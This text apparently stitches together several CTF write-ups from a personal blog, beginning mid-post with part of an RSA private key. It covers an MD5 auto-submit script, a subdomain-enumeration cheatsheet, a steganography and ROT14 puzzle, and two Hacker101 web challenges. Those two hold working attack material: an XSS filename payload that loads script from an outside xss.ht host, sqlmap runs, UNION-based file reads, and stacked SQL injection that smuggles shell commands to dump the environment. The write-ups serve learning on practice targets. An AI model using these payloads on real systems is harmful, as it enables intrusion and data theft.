    mSoSM7LlfRaFxMxF2hOH3FNOxIjv6dcPi++a5heyyi/GACZ1SraF9vvaUg1H92M2
    HqbGuvT7V0cpazxO+X1K2ZxvQYf7opMPM2HG8U7u0mPA87bzv6ltVwui+HV7wOoh
    /Qkfet1KN/YgYrZXUT2ihA2k3Q+0rWepVbH0Sj5uKt/fX4oOjFkI0c8dHnWd2GHG
    HdNXR2jCoJIB0PO2hnJazAM2sEuMIOhrzUFZe0KX0ratw2pUQ2UOnzdcmjjU/yL2
    O9MARlqSFtMmj3DD3ibZxA4ABCEvkjf2Eeb6rl1j6Lauu6UxS+V+r5rmaCJWWs0D
    E6BWp2SU61jtcf8VLdVs/LbcC3jJvI2ieMiQXUoLb3sP4iSvdIdF6d3Yk+LaUKz8
    Jogz5KCuIedTaRm1Gc+Ui+A93PzBhbxlyPeDBid/RAjUi+YsY8i+8VbdHxcCAQIC
    ggHWMo27CjQsiH3CRH99jDn6U7HoCZB+DAjQ0JJ3tPBCvMhBrjF+aSvlmG6WyH3P
    E+Yo6j1Kgt5vLlE5Ca7BboIwrUkn4MrYqkz4rVYuLALwLD1nIctNnVfJP7mVNilJ
    Oojr+GutDk+dV3SWfZy1tfw9Wq1d7i6bh8fFNTacu9+L1t+AdVEJoEmAaGRV6f3j
    xRL7HewWL7EZHBRB7MMUMrFDZ6m0MwF2O+QIdHhS77Ltk0ae5viw8pnXG1oER8X+
    FT+o0AiAiBwfyPxHHopMt/ppaBSx9Q8xrChO/TVmpYr2fvB9frJhx0CAIx9D8RcN
    RGT108Mr03jLOXDG1JdKYiZno95IKtEcY5/hIsOeusxR+asLb8qRmatVOiLAMncK
    bjRuKG86j3WUI9o5bG/DGVSno449D4wxPNZ+PehpRCMSu1UClU4lyb39OX6hbjQh
    DpnArDetSHvEbw/k26IN9WWhG44IFL4fMUHbKCV65tQciW9AIInMN9BbAcwwxtq4
    K5HpXvdrjWVzPg6siYXS3mtTIXlZlI7QesQw4KOqm86EgRS3f3zlnnnqgGEpVCNA
    8KHig9P+iqVTuBj/iz66TRVO8bmIZRFp2ICgwPuveFo3BC+7lLdgmrUCAQACggHW
    KUd2GnAjnLqluNUvYQtEDiLR99ofD4XxmezEgNc7M+aqGX9znxRvBP0hxAA4NH6j
    /7oIKZXB5sswVlnsxUDMxFcwuwd1EWySuU0RVu5qyXUicVHidv2+tugZTCtJ85Q1
    0gVFOa9+24mGsBWEm/v2bjiFVXjeBYBNjlV2aqBafzTjCgGnrnjAEcAszJUJGdly
    votC4mYi7QnD7imnYkR39OuHxffNcwvZZRfjABM6pVtC+33tKQaj+7GbD1NjXXp9
    q6OUtZ4nfL6lbM43oMP90UmHmbDjeKd3aTHgedt539S2q4XRfDq94HUQ/oSPvW6l
    G/sQMVsrqJ7RQgbSbofaVrPUqtj6JR83FW/vr8UHRiyEaOeOjzrO7DDjDumro7Rh
    UEkA6HnbQzktZgGbWCXGEHQ15qCsvaFL6VtW4bUqIbKHT5uuTRxqf5F7HemAIy1J
    C2mTR7hh7xNs4gcAAhCXyRv7CPN9Vy6x9FtXXdKYpfK/V81zNBErLWaBidArU7JK
    dax2uP+Kluq2fltuBbxk3kbRPGRILqUFt72H8RJXukOi9O7sSfFtKFZ+E0QZ8lBX
    EPOptIzajOfKRfAe7n5gwt4y5HvBgxO/ogRqRfMWMeRfeKtuj4w=
    -----END RSA PRIVATE KEY-----
```

```bash
echo 0x55cfe232610aa54dffcfb346117f0a38c77a33a2c67addf7a0368c93ec5c3e1baec9d3fe35a123960edc2cbdc238f332507b044d5dee1110f49311efc55a2efd3cf041bfb27130c2266e8dc61e5b99f275665823f584bc6139be4c153cdcf153bf4247fb3f57283a53e8733f982d790a74e99a5b10429012bc865296f0d4f408f65ee02cf41879543460ffc79e84615cc2515ce9ba20fe5992b427e0bbec6681911a9e6c6bbc3ca36c9eb8923ef333fb7e02e82c7bfb65b80710d78372a55432a1442d75cad5b562209bed4f85245f0157a09ce10718bbcef2b294dffb3f00a5a804ed7ba4fb680eea86e366e4f0b0a6d804e61a3b9d57afb92ecb147a769874 > flag.enc
````

```bash
echo 85207226509710165772552071797017127105619912251162198122221247160541401472369262271742012112545316135150142204418919456243508012347793238171624414717239197904625360240651911781134819438110141198309115324211710288352451321889757190762160220241831916671251638740588323211563152451211011623315491166614418188134821502402122448246942244424424121845296255199158132979219481922331863225489146180392241872361021291452615810810718860163108158184146622435125112622324412325110118471621513111416584501616845117202213181983215523779133369518716015622572418720624217814822325163016516842371231642511041423413422710222824017616621642302659157871751854620320122118152116 > flag0.enc
```

ok lets dry ant decrypt:
```bash
 openssl rsautl -decrypt -inkey key.key -in flag.enc -out flag.txt
```

HTB write up for Cyber Santa[CTF] challenges


# emdee five for life _[EASY]_

This is my Write Up for the "emdee five for life" challenge from Hack The Box.

![challenge info](/htb/emdeefiveforlife/challenge.png "challenge info")

We get a website with encrypted data, this can be decrypted easily.

![website](/htb/emdeefiveforlife/website.png "website info")

Ok so its clear we need to create a script to be able to decript and send a response fast enough.. 
```javascript
const crypto = require("crypto");
const http = require("http");
const axios = require("axios").default;
const httpAgent = new http.Agent({ keepAlive: true });

const loadData = async () => {
  try {
    const response = await axios.get("http://144.126.206.242:32609", {
      httpAgent,
    });

    const PAGE = response.data;
    const x = "<h3 align='center'>";
    const y = "</h3>";
    const string = PAGE.substring(
      PAGE.indexOf(x) + x.length,
      PAGE.lastIndexOf(y)
    );

    console.log("recieved string: ", string);
    const md5 = (data) => crypto.createHash("md5").update(data).digest("hex");
    const hash = md5(string);
    console.log("new MD: ", hash);

    const response2 = await axios({
      method: "post",
      url: "http://127.0.0.1:32609",
      headers: {
        "Content-Type": "application/x-www-form-urlencoded",
        Cookie: "PHPSESSID=ilimcjsspls1p1qpnhlbdbf6o6",
      },
      data: `hash=${hash}`,
      //go through burp proxy
      proxy: {
        host: "127.0.0.1",
        port: 8080,
      },
      httpAgent,
    });

    console.log(response2.data);
  } catch (error) {
    console.error(error);
  }
};

loadData();

```
run the script: 

```shell
node exploit.js

```

we need to create a script to be able to decript and send a response fast enough..

HTB write up for the emdee five for life[EASY] challenge



# **Subdomains Enumeration**

## **Summary**

- Enumerate Subdomains
    - Subbrute
    - KnockPy
    - GoogleDorks
    - EyeWitness
    - Sublist3r
    - Subfinder
    - Findomain
    - Aquatone
    - AltDNS
    - MassDNS
    - Nmap

## **Enumerate all subdomains (scope is *.domain.tld)**

### **Using Subbrute**

`git clone https://github.com/TheRook/subbrute
python subbrute.py domain.example.com`

### **Using KnockPy with Daniel Miessler’s SecLists for subdomain "/Discover/DNS"**

`git clone https://github.com/guelfoweb/knock
git clone https://github.com/danielmiessler/SecLists.git
knockpy domain.com -w subdomains-top1mil-110000.txt`

Using EyeWitness and Nmap scans from the KnockPy and enumall scans

`git clone https://github.com/ChrisTruncer/EyeWitness.git
./setup/setup.sh
./EyeWitness.py -f filename -t optionaltimeout --open (Optional)
./EyeWitness -f urls.txt --web
./EyeWitness -x urls.xml -t 8 --headless
./EyeWitness -f rdp.txt --rdp`

### **Using Google Dorks and Google Transparency Report**

You need to include subdomains ;) [https://www.google.com/transparencyreport/https/ct/?hl=en-US#domain=[DOMAIN]g&incl_exp=true&incl_sub=true](https://www.google.com/transparencyreport/https/ct/?hl=en-US#domain=%5BDOMAIN%5Dg&incl_exp=true&incl_sub=true)

`site:*.domain.com -www
site:domain.com filetype:pdf
site:domain.com inurl:'&'
site:domain.com inurl:login,register,upload,logout,redirect,redir,goto,admin
site:domain.com ext:php,asp,aspx,jsp,jspa,txt,swf
site:*.*.domain.com`

### **Using Sublist3r**

`To enumerate subdomains of specific domain and show the results in realtime:
python sublist3r.py -v -d example.com

To enumerate subdomains and enable the bruteforce module:
python sublist3r.py -b -d example.com

To enumerate subdomains and use specific engines such Google, Yahoo and Virustotal engines
python sublist3r.py -e google,yahoo,virustotal -d example.com

python sublist3r.py -b -d example.com`

### **Using Subfinder**

`go get github.com/subfinder/subfinder
./Subfinder/subfinder --set-config PassivetotalUsername='USERNAME',PassivetotalKey='KEY'
./Subfinder/subfinder --set-config RiddlerEmail="EMAIL",RiddlerPassword="PASSWORD"
./Subfinder/subfinder --set-config CensysUsername="USERNAME",CensysSecret="SECRET"
./Subfinder/subfinder --set-config SecurityTrailsKey='KEY'
./Subfinder/subfinder -d example.com -o /tmp/results_subfinder.txt`

### **Using Findomain**

`$ wget https://github.com/Edu4rdSHL/findomain/releases/latest/download/findomain-linux
$ chmod +x findomain-linux
$ findomain_spyse_token="YourAccessToken"
$ findomain_virustotal_token="YourAccessToken" 
$ findomain_fb_token="YourAccessToken" 
$ ./findomain-linux -t example.com -o`

### **Using Aquatone Go**

`# Subfinder version
./Subfinder/subfinder -d $1 -r 8.8.8.8,1.1.1.1 -nW -o /tmp/subresult$1
cat /tmp/subresult$1 | ./Aquatone/aquatone -ports large -out /tmp/aquatone$1

# Amass version
./Amass/amass -active -brute -o /tmp/hosts.txt -d $1
cat /tmp/hosts.txt | ./Aquatone/aquatone -ports large -out /tmp/aquatone$1`

### **Using AltDNS**

It's recommended to use massdns in order to resolve the result of `AltDNS`

`WORDLIST_PERMUTATION="./Altdns/words.txt"
python2.7 ./Altdns/altdns.py -i /tmp/inputdomains.txt -o /tmp/out.txt -w $WORDLIST_PERMUTATION`

Alternatively you can use [goaltdns](https://github.com/subfinder/goaltdns)

### **Using MassDNS**

`DNS_RESOLVERS="./resolvers.txt"
cat /tmp/results_subfinder.txt | massdns -r $DNS_RESOLVERS -t A -o S -w /tmp/results_subfinder_resolved.txt`

### **Using Nmap**

`nmap -sn --script hostmap-crtsh host_to_scan.tld`


Subdomain enumeration cheatsheet for pentesters

find everything *.target.tld has to offer


This is my Write Up for the "Black Hole" challenge from Hack The Box.

Like so often we are given a zip file called Blackhole.zip, naturraly we unzip it using cli:

```shell
unzip Blackhole.zip
```

It seems the Zip contained another zip called 'archive.zip' , so lets try and open that one.

we got a file called 'hawkins' it seems to be an image file, not really tho..
Is there a hidden message in this image? after some googling i found out about a tool called steghide.

[steghide](http://steghide.sourceforge.net/download.php) allowed me to look for a hidden message withing this file. Thanks @nieg for pointing in this direction.

I ran steghide like this:

```shell
steghide extract -sf hawking
```

nice! we get a file named Flag.txt.
It seems its content in encoded:

```shell
UldaeFluUnhlaUJKZFhoNGRXMTVJRlJ0YVhkMWVuTWdhVzFsSUcxNklGRjZjM2gxWlhRZ1puUnhZV1J4Wm5WdmJYZ2dZblJyWlhWdmRXVm1MQ0J2WVdWNVlYaGhjM1ZsWml3Z2JYcHdJRzFuWm5SaFpDd2dhWFJoSUdsdFpTQndkV1J4YjJaaFpDQmhjaUJrY1dWeGJXUnZkQ0J0WmlCbWRIRWdUM0Y2Wm1SeElISmhaQ0JHZEhGaFpIRm1kVzl0ZUNCUFlXVjVZWGhoYzJzZ2JXWWdablJ4SUVkNmRXaHhaR1YxWm1zZ1lYSWdUMjE1Ym1SMWNITnhJRzFtSUdaMGNTQm1kWGx4SUdGeUlIUjFaU0J3Y1cxbWRDNGdWSEVnYVcxbElHWjBjU0JZWjI5dFpYVnRlaUJDWkdGeWNXVmxZV1FnWVhJZ1dXMW1kSEY1YldaMWIyVWdiV1lnWm5SeElFZDZkV2h4WkdWMVptc2dZWElnVDIxNWJtUjFjSE54SUc1eFptbHhjWG9nTVRrM09TQnRlbkFnTWpBd09TNGdWRzFwZDNWNmN5QnRiM1IxY1doeGNDQnZZWGw1Y1dSdmRXMTRJR1ZuYjI5eFpXVWdhWFZtZENCbGNXaHhaRzE0SUdsaFpIZGxJR0Z5SUdKaFltZDRiV1FnWlc5MWNYcHZjU0IxZWlCcGRIVnZkQ0IwY1NCd2RXVnZaMlZsY1dVZ2RIVmxJR0ZwZWlCbWRIRmhaSFZ4WlNCdGVuQWdiMkZsZVdGNFlYTnJJSFY2SUhOeGVuRmtiWGd1SUZSMVpTQnVZV0YzSUUwZ1RtUjFjWElnVkhWbFptRmtheUJoY2lCR2RYbHhJRzFpWW5GdFpIRndJR0Y2SUdaMGNTQk9aSFZtZFdWMElFVm5lbkJ0YXlCR2RYbHhaU0J1Y1dWbUxXVnhlSGh4WkNCNGRXVm1JSEpoWkNCdElHUnhiMkZrY0MxdVpIRnRkM1Y2Y3lBeU16Y2dhWEZ4ZDJVdUlGUnRhWGQxZW5NZ2FXMWxJRzBnY25GNGVHRnBJR0Z5SUdaMGNTQkVZV3R0ZUNCRllXOTFjV1pyTENCdElIaDFjbkZtZFhseElIbHhlVzV4WkNCaGNpQm1kSEVnUW1GNlpuVnlkVzl0ZUNCTmIyMXdjWGxySUdGeUlFVnZkWEY2YjNGbExDQnRlbkFnYlNCa2NXOTFZblZ4ZW1ZZ1lYSWdablJ4SUVKa2NXVjFjSEY2Wm5WdGVDQlpjWEJ0ZUNCaGNpQlNaSEZ4Y0dGNUxDQm1kSEVnZEhWemRIRmxaaUJ2ZFdoMWVIVnRlaUJ0YVcxa2NDQjFlaUJtZEhFZ1IzcDFabkZ3SUVWbWJXWnhaUzRnVlhvZ01qQXdNaXdnVkcxcGQzVjZjeUJwYldVZ1pHMTZkM0Z3SUhwbmVXNXhaQ0F5TlNCMWVpQm1kSEVnVGs1UFhPS0FtV1VnWW1GNGVDQmhjaUJtZEhFZ01UQXdJRk5rY1cxbWNXVm1JRTVrZFdaaGVtVXVEUXBVUms1N1dqTm9jVVJmZUROR1gyWlVNMTl1TkdWR2JVUndOVjlUTTJaZlN6Qm5YM0F3YVZwOUlBPT0=
```

This string seems to be base64 encoded twice, who knows why, cuz this doesnt make it any harder.
Lets decode this in the browser:

```JavaScript
const x = atob(atob('UldaeFluUnhlaUJKZFhoNGRXMTVJRlJ0YVhkMWVuTWdhVzFsSUcxNklGRjZjM2gxWlhRZ1puUnhZV1J4Wm5WdmJYZ2dZblJyWlhWdmRXVm1MQ0J2WVdWNVlYaGhjM1ZsWml3Z2JYcHdJRzFuWm5SaFpDd2dhWFJoSUdsdFpTQndkV1J4YjJaaFpDQmhjaUJrY1dWeGJXUnZkQ0J0WmlCbWRIRWdUM0Y2Wm1SeElISmhaQ0JHZEhGaFpIRm1kVzl0ZUNCUFlXVjVZWGhoYzJzZ2JXWWdablJ4SUVkNmRXaHhaR1YxWm1zZ1lYSWdUMjE1Ym1SMWNITnhJRzFtSUdaMGNTQm1kWGx4SUdGeUlIUjFaU0J3Y1cxbWRDNGdWSEVnYVcxbElHWjBjU0JZWjI5dFpYVnRlaUJDWkdGeWNXVmxZV1FnWVhJZ1dXMW1kSEY1YldaMWIyVWdiV1lnWm5SeElFZDZkV2h4WkdWMVptc2dZWElnVDIxNWJtUjFjSE54SUc1eFptbHhjWG9nTVRrM09TQnRlbkFnTWpBd09TNGdWRzFwZDNWNmN5QnRiM1IxY1doeGNDQnZZWGw1Y1dSdmRXMTRJR1ZuYjI5eFpXVWdhWFZtZENCbGNXaHhaRzE0SUdsaFpIZGxJR0Z5SUdKaFltZDRiV1FnWlc5MWNYcHZjU0IxZWlCcGRIVnZkQ0IwY1NCd2RXVnZaMlZsY1dVZ2RIVmxJR0ZwZWlCbWRIRmhaSFZ4WlNCdGVuQWdiMkZsZVdGNFlYTnJJSFY2SUhOeGVuRmtiWGd1SUZSMVpTQnVZV0YzSUUwZ1RtUjFjWElnVkhWbFptRmtheUJoY2lCR2RYbHhJRzFpWW5GdFpIRndJR0Y2SUdaMGNTQk9aSFZtZFdWMElFVm5lbkJ0YXlCR2RYbHhaU0J1Y1dWbUxXVnhlSGh4WkNCNGRXVm1JSEpoWkNCdElHUnhiMkZrY0MxdVpIRnRkM1Y2Y3lBeU16Y2dhWEZ4ZDJVdUlGUnRhWGQxZW5NZ2FXMWxJRzBnY25GNGVHRnBJR0Z5SUdaMGNTQkVZV3R0ZUNCRllXOTFjV1pyTENCdElIaDFjbkZtZFhseElIbHhlVzV4WkNCaGNpQm1kSEVnUW1GNlpuVnlkVzl0ZUNCTmIyMXdjWGxySUdGeUlFVnZkWEY2YjNGbExDQnRlbkFnYlNCa2NXOTFZblZ4ZW1ZZ1lYSWdablJ4SUVKa2NXVjFjSEY2Wm5WdGVDQlpjWEJ0ZUNCaGNpQlNaSEZ4Y0dGNUxDQm1kSEVnZEhWemRIRmxaaUJ2ZFdoMWVIVnRlaUJ0YVcxa2NDQjFlaUJtZEhFZ1IzcDFabkZ3SUVWbWJXWnhaUzRnVlhvZ01qQXdNaXdnVkcxcGQzVjZjeUJwYldVZ1pHMTZkM0Z3SUhwbmVXNXhaQ0F5TlNCMWVpQm1kSEVnVGs1UFhPS0FtV1VnWW1GNGVDQmhjaUJtZEhFZ01UQXdJRk5rY1cxbWNXVm1JRTVrZFdaaGVtVXVEUXBVUms1N1dqTm9jVVJmZUROR1gyWlVNMTl1TkdWR2JVUndOVjlUTTJaZlN6Qm5YM0F3YVZwOUlBPT0='))
console.log(x)

//Output:
x = `Efqbtqz Iuxxumy Tmiwuzs ime mz Qzsxuet ftqadqfuomx btkeuouef, oaeyaxasuef, mzp mgftad, ita ime pudqofad ar dqeqmdot mf ftq Oqzfdq rad Ftqadqfuomx Oaeyaxask mf ftq Gzuhqdeufk ar Omyndupsq mf ftq fuyq ar tue pqmft. Tq ime ftq Xgomeumz Bdarqeead ar Ymftqymfuoe mf ftq Gzuhqdeufk ar Omyndupsq nqfiqqz 1979 mzp 2009. Tmiwuzs motuqhqp oayyqdoumx egooqee iuft eqhqdmx iadwe ar babgxmd eouqzoq uz ituot tq pueogeeqe tue aiz ftqaduqe mzp oaeyaxask uz sqzqdmx. Tue naaw M Nduqr Tuefadk ar Fuyq mbbqmdqp az ftq Ndufuet Egzpmk Fuyqe nqef-eqxxqd xuef rad m dqoadp-ndqmwuzs 237 iqqwe. Tmiwuzs ime m rqxxai ar ftq Dakmx Eaouqfk, m xurqfuyq yqynqd ar ftq Bazfuruomx Mompqyk ar Eouqzoqe, mzp m dqoubuqzf ar ftq Bdqeupqzfumx Yqpmx ar Rdqqpay, ftq tustqef ouhuxumz mimdp uz ftq Gzufqp Efmfqe. Uz 2002, Tmiwuzs ime dmzwqp zgynqd 25 uz ftq NNO\âe baxx ar ftq 100 Sdqmfqef Ndufaze.
TFN{Z3hqD_x3F_fT3_n4eFmDp5_S3f_K0g_p0iZ}`

```

We got some sort of unreadable Text coupled with what seems to be a flag.

```
HTB{this_is_the_usu4l_f0rmat_for_flags}
TFN{Z3hqD_x3F_fT3_n4eFmDp5_S3f_K0g_p0iZ}
```

similiarities are striking! why? well cuz its a caesar cipher.. how do we know? only the letters are affected, 'TFN' is 'HTB' shifted by 14, so they must be using ROT14. Give it a try on cyberchef:

![solved ciphertext](/cipherROT14.png "solved ciphertext")

Thats it! we got our flag 😄

have a look at [this challenge on my GitHub](https://github.com/Lawlez/myOSWE/tree/master/htb/challanges/misc/Black%20Hole)


A write up for the Black Hole[EASY] challenge

getting started with forensics

HTB write up for the Black Hole[EASY] challenge

### `WIP`

This is my Write Up for the "TempImage" challenge of HackerOne's CTF.

As usual we get a link to webpage, it seems to some sort of cloud storage application, on the main Page we get a really simple page:

```jsx


<html>
  <head>
    <title>TempImage &mdash; Trial</title>
  </head>
  <body>
    <h1>TempImage</h1>
    <p>
      <b>UNREGISTERED</b>
    </p>
    <p>
      <a href="upload.php">Upload image</a>
    </p>
  </body>
</html>
```

It signifies that its an UNEGISTERED version of the app, thus working in trial mode.

## Enumeration

So lets start to explore the app and what it can do. We start by clicking the "Upload image" Button.
This leads us to a new page **/upload.php**, here we can select a file from our computer, and have a submit button to send the form.

The form will be sent to a **doUpload.php** file. Upon closer inspection we alos see that there is a hidden field "filename", which gets filled in by a JS snippet.

```jsx
   <h1>Upload</h1>
		<form action="doUpload.php" method="POST" enctype="multipart/form-data">
			<input type="file" name="file" id="file">
			<input type="hidden" name="filename" id="filename">
			<input type="submit" value="Upload">
		</form>
		<script>
			$(document).ready(function() {
				$('#file').change(function(e) {
					$('#filename').val(e.target.files[0].name)
				})
			})
	 </script>
```

So it seems this lil script extracts the `file.name` prop from the fileOpbject the user uploads to the input type="file".

Lets Try it out, It seems the file inpput allows any file to be chosen, lets try a 5mb .gif file.

```jsx
<center><h1>413 Request Entity Too Large</h1></center>
<hr><center>nginx/1.14.0 (Ubuntu)</center>
```

OK, fair, maybe 5mb was a it large, but we know we're working with an nginx 1.14 server on Ubuntu.
So how about we try a smaller gif?

```shell
ERROR: Only PNG format supported in trial.
```

Okay, finally we know what the app expects from us, a PNG file. So we try jsut that.
The upload succeeds, thus redirecting us to a new url:
`/files/be9c26aaea9d9b5085c7f6eed0812745_uhhhh.png`

so it seems our files are uploaded to the `/files/` directory, what a suprise, the file stil contains our original filename, preceeded by some gibberish.

we should deffinetly try to exploit this, check wheter or not they sanitize our filename.

Lets try uploading a file named: `javascript%3Aeval%28%27var%20a%3Ddocument.createElement%28%5C%27script%5C%27%29%3Ba.src%3D%5C%27https%3A%2F%2FDiscover.xss.ht%5C%27%3Bdocument.body.appendChild%28a%29%27%29.png`

We now get redirected to this url `http://35.190.155.168/d29c8e00db/files/9975e7e24fac21e8b877a6d08efe09c6_javascript%3Aeval%28%27var%20a%3Ddocument.createElement%28%5C%27script%5C%27%29%3Ba.src%3D%5C%27https%3A%2F%2FDiscover.xss.ht%5C%27%3Bdocument.body.appendChild%28a%29%27%29.png`

and we get served this content:

```javascript
Not Found
The requested URL /files/9975e7e24fac21e8b877a6d08efe09c6_javascript:eval('var a=document.createElement(\'script\');a.src=\'https:/Discover.xss.ht\';document.body.appendChild(a)').png was not found on this server.

Apache/2.4.7 (Ubuntu) Server at 127.0.0.1 Port 52736
```

so it seems there is potential there, we just need a more sophisticated payload to upload.

## Taking a step back

It's important not to get tunnelvision and only focus on your first finding, so lets take a step back and analyze the website using Burp Suite. Maybe we'll find something.
Lets analyze the upload URL first:

```shell
GET /d29c8e00db/upload.php HTTP/1.1
Host: 35.190.155.168
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close
```

This does not tell us that much, it seems the server could accep more than just PNG tho.

How about if we upload an image?

`POST /d29c8e00db/doUpload.php HTTP/1.1`

![image upload Request](/hackerone/tempimage/tempimage-hackerone101-burpSuite_fileupload.png "image upload Request")

> This Post is marked as `WIP` and will be updated continously.

A write up for the TempImage [moderate] challenge

a work in progress

Hacker101 CTF TempImage [moderate] Write-Up


This is my Write Up for the "Photo Gallery" challenge of HackerOne's CTF.

As usual we get a link to webpage, it seems to be an image gallery, but one of the images is broken.
The missing one is called `Invisible`, so lets look into that.

```
http://34.74.105.127/ad3e8c7df9/
```

![initial page](/hackerone/photogallery-start.png "initial page")

## Information gathering

with Burp we were able to find that the server returns no content for this image.
images are loaded with a `GET` Request to the server like so:

`GET /ad3e8c7df9/fetch?id=1 HTTP/1.1`

this also aligns with the first tip we are provided:

> Hint 1: _Consider how you might build this system yourself. What would the **query for fetch** look like?_

naturally we start fuzzing the `id` parameter.

```python
GET /ad3e8c7df9/fetch?id=4 HTTP/1.1 # 404
GET /ad3e8c7df9/fetch?id=0 HTTP/1.1 # 404
GET /ad3e8c7df9/fetch?id=-1 HTTP/1.1 # 500
```

alright, no quick wins, so let's give it a try with fizzing using sqlmap.
Quickly we are able to see that the server seems to be vulnerable to some attack.

```python
sqlmap -u "http://34.74.105.127/ad3e8c7df9/fetch?id=2"
```

This command runs for quite a while and will try to find vulnerabilities in the fetch endpoint.
when we are done we should know what to do next.

## Gathered Data

### sqlmap identified the following injection point(s) with a total of 311 HTTP(s) requests:

```python
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2 AND 3567=3567

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=2 AND (SELECT 8480 FROM (SELECT(SLEEP(5)))KHRS)
```

```python
[21:44:44] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.14.0
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
```

### Our Target Server:

    | Type      | Service      | Version                  | Vulnerable?    |
    | --------- | ------------ | ------------------------ | -------------- |
    | OS        | Linux Ubuntu | ??                       | not focused    |
    | Webserver | Nginx        | 1.14.0                   | no             |
    | Database  | MySQL        | >= 5.0.12 (MariaDB fork) | yes (id param) |

Good, we got something, we know the server is vulnerable to multiple vulnerabilities such as a 'boolean base blind'. We also found the Webserver is Nginx v1.14.0, which sadly has no usable vulnerabilities here. But with us now knowing the exact os and DB System used lets run sqlmap again with that info and see what we get.

```python
sqlmap -u "http://34.74.105.127/ad3e8c7df9/fetch?id=2" -f --os=linux --dbms=mysql --level=3 -o
```

we dont really get any more useful information from here.
soo.. were kinda stuck lets just get another hint then:

> Hint 2: _Take a few minutes to consider the **state of the union**_

The state uf the union? are they hinting on using UNION statements in the query?
_The UNION operator is used to combine the result-set of two or more SELECT statements._
That seems like somethng we can make use of, so lets try and combine our query statements f.e. like this:

`http://34.74.105.127/ad3e8c7df9/fetch?id=2 UNION SELECT 'something'`

but what do we look for? Lets get another hint.

> Hint 3: _This application runs on the **uwsgi-nginx-flask-docker** image_

uwsgi-nginx? hmm havent heard of that, but sems to be some kind of portable all in one flask. lets look for the docs.

https://uwsgi-docs.readthedocs.io/en/latest/Configuration.html#ini-files

> uWSGI can be configured using several different methods.

YAML, JSON, INI are some supported formats -> ini beeing the defualt so lets try getting the 'uwsgi.ini' file?

![union select wiht burp repeater](/hackerone/union-select-ini.png "union select wiht burp repeater")

this returns us some configdata pointing to module main which is the entrypoint.

```python
[uwsgi]
module = main
callable = app
```

so lets see if we can also fethc the main.py

```python
http://35.190.155.168/c947e97f6e/fetch?id=4%20UNION%20SELECT%20%27main.py%27--
```

Here we get lots of infos our **first FLAG** and the db connection settings:

### FLAG 0:

```python
%s
' % (pid, sanitize(ptitle)) fns.append(pfn) rep += 'Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '' rep += '
\n' return home.replace('$ALBUMS$', rep) @app.route('/fetch') def fetch(): cur = getDb().cursor() if cur.execute('SELECT filename FROM photos WHERE id=%s' % request.args['id']) == 0: abort(404)
# It's dangerous to go alone, take this: # ^FLAG^9e6d57c394c129??????????????????????????????f74dbf2faa0abd571b32c7$FLAG$ return file('./%s' % cur.fetchone()[0].replace('..', ''), 'rb').read() if __name__ == "__main__": app.run(host='0.0.0.0', port=80)
```

`return MySQLdb.connect(host="localhost", user="root", password="", db="level5")`

we also see that they are using the photos table

`cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3', (id, ))`

lets try to fuzz that with sqlmap, since we now know the DB and tables info we can launch a targeted attack.

```python
sqlmap -u "http://34.74.105.127/ad3e8c7df9/fetch?id=1" --method=GET --dump -D level5 -T photos -p id, --code=200 --ignore-code=500 --skip-waf -o --threads 2
```

This can take quite a while.. for me it crashed after 40 minutes, so i gave it another go with just focusing on the column `filename` since, here is the value we need.we do this by adding the -C parameter, i also increased the thradcount to 4 to try and get faster results. I also changed the url to contain id=3 since this is the id we want to get the info from.

```python
sqlmap -u "http://35.190.155.168/c947e97f6e/fetch?id=3" --method=GET --dump -D level5 -T photos -p id, --code=200 --ignore-code=500 --skip-waf -o --threads 4 -C filename
```

This means that sqlmap will start with the filename of id=3 which is exactly what we want right now.

![starts to query filename of id 3](/hackerone/photo-gallery-hash.png "query on the filename of id 3")
So lets have a look at our results:

```python
Database: level5
Table: photos
[3 entries]
+------------------------------------------------------------------+
| filename |
+------------------------------------------------------------------+
| 9ef8fc5da15625db993f1c8e120beafc6873d801a804670b9497ecc782ca11fa |
| files/adorable.jpg |
| files/purrfect.jpg |
+------------------------------------------------------------------+
```

> you might be getting partial values like so:
> `9ef8fc5di15625db993f1c8e120beafc6873d801a804670?????????????????`
> you should be able to re-run sqlmap to find the missing characters
> `9ef8fc5da15625db993f1c8e120beafc6873d801a804670b9497ecc782ca11fa`

decrypted: `\*||+ls+-a+tmp.txt`
another file! nice lets try and get that with a UNION STATEMENT request like so:

`GET /ad3e8c7df9/fetch?id=4 UNION SELECT 'tmp.txt'-- HTTP/1.1`
hmm no luck it seems... let's do it another way.

From our previous findings we know that files are in the 'files' directory and that we can run sql statements on the id param. So we want to try to move the file or its contents so we can access it. We also got a new hint of using ls output to find temp file.

We want to run following statements via the vulnerable param:

#### ls in the /files directory and store data in bigWin.txt

`update photos set filename='* || ls ./files >bigWin.txt ' where id=3; commit;`

`GET /ad3e8c7df9/fetch?id=1;%20update%20photos%20set%20filename=%27\*%20||%20ls%20./files%20%3EbigWin.txt%20%27%20where%20id=3;%20commit;%20-- HTTP/1.1`

#### store all env data in bigWin.txt (because so often flags are here)

`update photos set filename='* || env >bigWin.txt' where id=3; commit;`

`GET /ad3e8c7df9/fetch?id=1;%20update%20photos%20set%20filename%3D%27*%20%7C%7C%20env%20%3Etmp.txt%27%20where%20id%3D3%3B%20commit%3B%20-- HTTP/1.1`

after you succsessfully ran those you should be able to run the union select again to get ahold of bigWin.txt!

`GET /ad3e8c7df9/fetch?id=4 UNION SELECT 'bigWin.txt'-- HTTP/1.1`

Tadaa!! we got it all.

```bash
"^FLAG^9ef8fc5da15????????????????????????????????????????????782ca11fa$FLAG$"
"^FLAG^63a407d0083????????????????????????????????????????????4564ee9f2$FLAG$"
